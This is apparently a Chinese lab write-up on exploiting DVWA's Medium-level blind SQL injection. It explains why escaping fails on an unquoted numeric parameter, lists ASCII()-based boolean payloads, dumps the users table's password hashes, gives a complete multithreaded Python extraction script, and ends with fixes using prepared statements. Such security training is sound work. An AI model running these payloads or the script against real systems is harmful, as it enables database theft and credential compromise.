文章目录
-
- 一、测试概述
- 二、Medium级别安全机制分析
-
- [2.1 后端源码](#2.1 后端源码)
- [2.2 与Low级别的差异](#2.2 与Low级别的差异)
- [2.3 安全机制缺陷](#2.3 安全机制缺陷)
- 三、漏洞验证
-
- [3.1 基础测试](#3.1 基础测试)
- [3.2 绕过单引号转义测试](#3.2 绕过单引号转义测试)
- 四、漏洞利用过程
-
- [4.1 获取数据库名](#4.1 获取数据库名)
- [4.2 获取表信息](#4.2 获取表信息)
- [4.3 获取列信息](#4.3 获取列信息)
- [4.4 获取记录数](#4.4 获取记录数)
- [4.5 提取用户数据](#4.5 提取用户数据)
- 五、自动化利用脚本
-
- [5.1 脚本说明](#5.1 脚本说明)
- [5.2 核心函数](#5.2 核心函数)
- [5.3 使用方法](#5.3 使用方法)
- [六、Low vs Medium 对比](#六、Low vs Medium 对比)
-
- [6.1 注入方式对比](#6.1 注入方式对比)
- [6.2 绕过技巧](#6.2 绕过技巧)
- 七、漏洞危害
-
- [7.1 影响范围](#7.1 影响范围)
- [7.2 攻击链](#7.2 攻击链)
- 八、修复建议
-
- [8.1 当前漏洞代码](#8.1 当前漏洞代码)
- [8.2 修复方案](#8.2 修复方案)
- [8.3 安全最佳实践](#8.3 安全最佳实践)
一、测试概述
| 项目 | 内容 |
|---|---|
| 测试目标 | http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/ |
| 安全级别 | Medium |
| 漏洞类型 | Boolean-based Blind SQL Injection(数字型) |
| 测试日期 | 2026-06-08 |
| 测试工具 | Chrome DevTools MCP + Python自动化脚本 |
| 风险等级 | 高危(High) |
二、Medium级别安全机制分析
2.1 后端源码
php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
// 使用mysqli_real_escape_string转义特殊字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// SQL查询(无引号包裹$id)
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
if (mysqli_num_rows($result) > 0) {
echo '<pre>User ID exists in the database.</pre>';
} else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
2.2 与Low级别的差异
| 特性 | Low级别 | Medium级别 |
|---|---|---|
| 请求方式 | GET | POST |
| 输入方式 | 文本框 | 下拉选择框 |
| 输入过滤 | 无 | mysqli_real_escape_string |
| SQL查询 | WHERE user_id = '$id' |
WHERE user_id = $id |
| 注入类型 | 字符型(需单引号闭合) | 数字型(无需引号) |
2.3 安全机制缺陷
- 仅转义特殊字符 :
mysqli_real_escape_string转义了单引号、双引号等,但SQL查询中$id没有引号包裹 - 数字型注入 :由于查询是
WHERE user_id = $id(无引号),可以直接注入数字型SQL语句 - 前端限制可绕过:下拉选择框只是前端限制,直接发送POST请求即可绕过
三、漏洞验证
3.1 基础测试
| 测试 | Payload | 结果 | 结论 |
|---|---|---|---|
| 正常查询 | 1 |
exists | 页面正常 |
| 无效ID | 999 |
MISSING | 可区分真假 |
| 真条件 | 1 AND 1=1 |
exists | 注入成功 |
| 假条件 | 1 AND 1=2 |
MISSING | 布尔盲注确认 |
3.2 绕过单引号转义测试
| 测试 | Payload | 结果 | 说明 |
|---|---|---|---|
| 字符比较 | 1 AND SUBSTRING(DATABASE(),1,1)='d' |
FAIL | 单引号被转义 |
| ASCII比较 | 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 |
OK | 数值比较绕过转义 |
| MID函数 | 1 AND MID(DATABASE(),1,1)='d' |
FAIL | 单引号被转义 |
| LIKE | 1 AND DATABASE() LIKE 'dvwa%' |
FAIL | 单引号被转义 |
| 长度测试 | 1 AND LENGTH(DATABASE())=4 |
OK | 纯数字比较有效 |
关键发现:使用ASCII()函数进行数值比较可以绕过单引号转义
四、漏洞利用过程
4.1 获取数据库名
sql
-- 获取数据库名长度
1 AND LENGTH(DATABASE())=4 → exists ✓
-- 逐字符猜解(使用ASCII数值比较)
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 → exists ✓ (100 = 'd')
1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118 → exists ✓ (118 = 'v')
1 AND ASCII(SUBSTRING(DATABASE(),3,1))=119 → exists ✓ (119 = 'w')
1 AND ASCII(SUBSTRING(DATABASE(),4,1))=97 → exists ✓ (97 = 'a')
结果:数据库名 = "dvwa"
4.2 获取表信息
sql
-- 表数量
1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 → exists ✓
-- 表名(逐字符ASCII比较)
1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117 → exists ✓ (117 = 'u')
结果:1个表,表名 = "users"
4.3 获取列信息
sql
-- 列数量
1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8 → exists ✓
-- 列名(8列)
user_id, first_name, last_name, user, password, avatar, last_login, failed_login
4.4 获取记录数
sql
1 AND (SELECT COUNT(*) FROM users)=5 → exists ✓
结果:5条记录
4.5 提取用户数据
| user_id | user | first_name | last_name | password (MD5) |
|---|---|---|---|---|
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | gordonb | gordon | brown | e99a18c428cb38d5f260853678922e03 |
| 3 | 1337 | hack | me | 8d3533d75ae2c3966d7e0d4fcc69216b |
| 4 | pablo | pablo | picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| 5 | smithy | bob | smith | 5f4dcc3b5aa765d61d8327deb882cf99 |
五、自动化利用脚本
5.1 脚本说明
dvwa_blind_sqli_exploit_medium.py
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA SQL盲注漏洞利用脚本 - Medium级别
======================================
目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
级别: Medium
类型: Numeric-based Blind SQL Injection
Medium级别特点:
1. 使用POST请求
2. 使用mysqli_real_escape_string转义单引号
3. SQL查询无引号: WHERE user_id = $id
4. 数字型注入,通过ASCII()数值比较绕过单引号转义
"""
import requests
import string
import sys
import json
import time
import io
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
# ==================== 配置 ====================
BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
MAX_WORKERS = 10
REQUEST_TIMEOUT = 10
COOKIE = {
"security": "medium",
"PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
}
STATS = {"total_requests": 0, "start_time": None}
RESULTS = {
"timestamp": datetime.now().isoformat(),
"target": BASE_URL,
"security_level": "medium",
"database_name": "",
"tables": [],
"columns": {},
"data": []
}
session = requests.Session()
session.cookies.update(COOKIE)
def check_payload(payload):
"""
Medium级别: POST请求,数字型注入
通过ASCII()数值比较绕过单引号转义
Payload示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
"""
data = {"id": payload, "Submit": "Submit"}
try:
resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
STATS["total_requests"] += 1
return "User ID exists" in resp.text
except Exception as e:
print(f" [!] Error: {e}")
return False
def check_batch(payloads):
"""并发检查多个Payload"""
results = []
def _check(item):
payload, ascii_val = item
return ascii_val if check_payload(payload) else None
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(_check, item): item for item in payloads}
for future in as_completed(futures):
r = future.result()
if r is not None:
results.append(r)
return results
def blind_extract_ascii(query, max_len=30, ascii_range=None):
"""
盲注提取函数(ASCII数值比较版)
原理: 使用ASCII(SUBSTRING(...))=数值 绕过单引号转义
示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
"""
if ascii_range is None:
ascii_range = list(range(97, 123)) # a-z
result = ""
for pos in range(1, max_len + 1):
payloads = [
(f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
for v in ascii_range
]
matched = check_batch(payloads)
if matched:
result += chr(matched[0])
sys.stdout.write(chr(matched[0]))
sys.stdout.flush()
else:
break
print()
return result
def get_database_name():
"""获取数据库名"""
print("[*] Extracting database name...")
# 先获取长度
for length in range(1, 20):
if check_payload(f"1 AND LENGTH(DATABASE())={length}"):
print(f"[+] DB length: {length}")
break
name = blind_extract_ascii("DATABASE()", 20, list(range(97, 123)))
print(f"[+] Database: {name}")
RESULTS["database_name"] = name
return name
def get_table_count(db):
"""获取表数量"""
print(f"[*] Getting table count in {db}...")
for i in range(1, 20):
payload = f"1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}"
if check_payload(payload):
print(f"[+] Table count: {i}")
return i
return 0
def get_table_name(db, idx):
"""获取表名"""
print(f"[*] Extracting table name[{idx}]...")
q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
name = blind_extract_ascii(q, 30, list(range(97, 123)))
print(f"[+] Table: {name}")
return name
def get_column_count(table):
"""获取列数量"""
print(f"[*] Getting column count for {table}...")
for i in range(1, 30):
payload = f"1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i}"
if check_payload(payload):
print(f"[+] Column count: {i}")
return i
return 0
def get_column_name(table, idx):
"""获取列名"""
print(f"[*] Extracting column name[{idx}]...")
q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
# 列名可能包含字母和下划线
charset = list(range(97, 123)) + [95] # a-z + _
name = blind_extract_ascii(q, 30, charset)
print(f"[+] Column: {name}")
return name
def get_row_count(table):
"""获取记录数"""
print(f"[*] Getting row count for {table}...")
for i in range(1, 20):
if check_payload(f"1 AND (SELECT COUNT(*) FROM {table})={i}"):
print(f"[+] Row count: {i}")
return i
return 0
def get_field(table, col, row):
"""获取字段值"""
print(f"[*] Extracting {col}[row {row}]...")
q = f"SELECT {col} FROM {table} LIMIT {row},1"
# 字段值可能包含字母、数字、特殊字符
charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
val = blind_extract_ascii(q, 100, charset)
print(f"[+] {col}: {val}")
return val
def save_results():
"""保存结果到JSON"""
with open("dvwa_blind_sqli_medium_results.json", "w", encoding='utf-8') as f:
json.dump(RESULTS, f, indent=2, ensure_ascii=False)
print(f"\n[+] Results saved to dvwa_blind_sqli_medium_results.json")
def print_stats():
"""打印性能统计"""
elapsed = time.time() - STATS["start_time"]
print("\n" + "=" * 60)
print("性能统计")
print("=" * 60)
print(f"总请求数: {STATS['total_requests']}")
print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
if elapsed > 0:
print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
print("=" * 60)
def main():
"""
执行流程:
1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
7. 逐行逐列提取数据 → 8. 保存结果
"""
STATS["start_time"] = time.time()
print("=" * 60)
print("DVWA SQL Blind Injection Exploit - Level: Medium")
print(f"并发线程: {MAX_WORKERS}")
print("=" * 60)
try:
# 1. 数据库名
db = get_database_name()
# 2-3. 表信息
tables = []
for i in range(get_table_count(db)):
tables.append(get_table_name(db, i))
RESULTS["tables"] = tables
print(f"[+] Tables: {', '.join(tables)}")
# 4-5. 列信息
for t in tables:
cols = []
for i in range(get_column_count(t)):
cols.append(get_column_name(t, i))
RESULTS["columns"][t] = cols
print(f"[+] Columns in {t}: {', '.join(cols)}")
# 6-7. 提取数据
if "users" in tables:
rows = get_row_count("users")
print(f"\n[*] Extracting users table ({rows} rows)...")
cols = RESULTS["columns"]["users"]
for r in range(rows):
print(f"\n--- Row {r+1} ---")
row_data = {c: get_field("users", c, r) for c in cols}
RESULTS["data"].append(row_data)
# 8. 保存
save_results()
print_stats()
print("\n[+] Done!")
except KeyboardInterrupt:
print("\n[!] Interrupted")
save_results()
print_stats()
except Exception as e:
print(f"\n[!] Error: {e}")
save_results()
print_stats()
if __name__ == "__main__":
main()
核心绕过技术:
python
# Low级别:直接使用字符比较
payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND '1'='1"
# Medium级别:使用ASCII数值比较绕过单引号转义
payload = f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={ascii_value}"
优化策略:
- 并发请求(10线程)
- Session复用TCP连接
- ASCII数值比较绕过转义
- 性能统计(请求数、耗时、速度)
5.2 核心函数
python
def check_payload(payload):
"""POST请求,数字型注入"""
data = {"id": payload, "Submit": "Submit"}
resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
return "User ID exists" in resp.text
def blind_extract_ascii(query, max_len=30, ascii_range=None):
"""使用ASCII数值比较进行盲注提取"""
for pos in range(1, max_len + 1):
payloads = [
(f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
for v in ascii_range
]
matched = check_batch(payloads) # 并发检查
if matched:
result += chr(matched[0])
5.3 使用方法
bash
python dvwa_blind_sqli_exploit_medium.py
结果保存至 dvwa_blind_sqli_medium_results.json
六、Low vs Medium 对比
6.1 注入方式对比
| 特性 | Low级别 | Medium级别 |
|---|---|---|
| 注入类型 | 字符型 | 数字型 |
| 闭合方式 | 需要单引号 ' |
无需闭合 |
| Payload示例 | 1' AND '1'='1 |
1 AND 1=1 |
| 字符提取 | SUBSTRING(...)='a' |
ASCII(SUBSTRING(...))=97 |
| 请求方式 | GET | POST |
6.2 绕过技巧
| 级别 | 防御措施 | 绕过方法 |
|---|---|---|
| Low | 无 | 直接注入 |
| Medium | mysqli_real_escape_string |
使用ASCII()数值比较 |
七、漏洞危害
7.1 影响范围
| 危害类型 | 程度 | 说明 |
|---|---|---|
| 数据泄露 | 严重 | 获取全部用户数据(含密码哈希) |
| 数据篡改 | 严重 | 可修改/删除数据库内容 |
| 权限提升 | 严重 | 获取管理员账户 |
7.2 攻击链
POST请求绕过 → 数字型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证
八、修复建议
8.1 当前漏洞代码
php
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
8.2 修复方案
方案1:参数化查询(推荐)
php
$id = $_POST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, "i", $id); // 'i' 表示整数类型
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
方案2:强制类型转换
php
$id = (int)$_POST[ 'id' ]; // 强制转换为整数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
8.3 安全最佳实践
| 措施 | 优先级 | 说明 |
|---|---|---|
| 参数化查询 | 高 | 使用预处理语句,从根本上防止注入 |
| 类型验证 | 高 | 对数字型输入强制类型转换 |
| 最小权限 | 中 | 数据库账户使用最小必要权限 |
| WAF防护 | 中 | 部署Web应用防火墙 |